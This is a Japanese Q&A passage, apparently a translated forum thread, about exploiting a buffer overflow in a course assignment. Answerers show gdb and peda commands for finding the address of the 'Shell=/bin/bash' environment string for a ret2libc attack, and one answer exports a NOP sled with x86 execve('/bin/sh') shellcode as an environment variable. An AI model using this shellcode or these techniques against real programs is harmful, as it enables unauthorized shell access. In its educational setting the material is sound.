割り当てのために脆弱なC++プログラムの非常に単純なバッファオーバーフローを悪用する必要があり、環境変数Shellを見つけることができません。
私はこれまでBoFで作業したことがなく、多くの同様の質問、投稿などを読んだ後、この情報を入手しました(間違っている場合は修正してください)。
environ
というグローバル変数に環境変数を格納します私はこのようにこの変数のアドレスを見つけることができます:
(gdb) info variable environ
All variables matching regular expression "environ":
Non-debugging symbols:
0xb7fd1b00 __environ
0xb7fd1b00 _environ
0xb7fd1b00 environ
シェルを起動するには、その変数で/bin/bash
文字列を見つける必要があります(すでにシステムアドレスと終了アドレスを取得しているので、シェルへのルートだけが必要です)。そして、ここは私が何をすべきかわからないところです。私はgdbチュートリアルを読んでいますが、まだ何もしていません。 x/s 0xb7fd1b00
は、何も出力しません。
environ
はchar **environ
型であるため、ポインターへのポインターです。
あなたは次のようなことを試す必要があります:
(gdb) x/s *((char **)environ)
0xbffff688: "SSH_AGENT_PID=2107"
(gdb) x/s *((char **)environ+1)
0xbffff69b: "Shell=/bin/bash"
(gdb)x/wx $ ebp + 0x10
0xffffd3f8:0xffffd48c
(gdb)x/wx 0xffffd48c
0xffffd48c:0xffffd67e
(gdb)x/s 0xffffd67e
0xffffd67e: "XDG_SEAT_PATH =/org/freedesktop/DisplayManager/Seat0"
(gdb)(gdb)x/wx 0xffffd48c + 4
0xffffd490:0xffffd6b2
(gdb)x/s 0xffffd6b2
0xffffd6b2: "XDG_CONFIG_DIRS =/etc/xdg/lubuntu:/ etc/xdg/xdg-Lubuntu:/ usr/share/upstart/xdg:/ etc/xdg"
peda がgdbにインストールされている場合、これをgdbに入力するだけです。
gdb-peda$ searchmem Shell
出力は次のようになります
Searching for 'Shell' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0xbffff540 ("Shell=/bin/bash")
また、gdbにpedaがインストールされている場合は、「refsearch variable_name」だけを使用できます。
例:
まず、変数(Shellcodeなど)を環境に追加する必要があります。
(export Shellcode=$(python -c 'print "\x90"*100 +"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80"'))
次に、サンプルプログラムでgdbを開き、メインを中断して実行します。
プログラムがブレークポイントで一時停止すると、次のコマンドで環境アドレスを検索できます。
refsearchシェルコード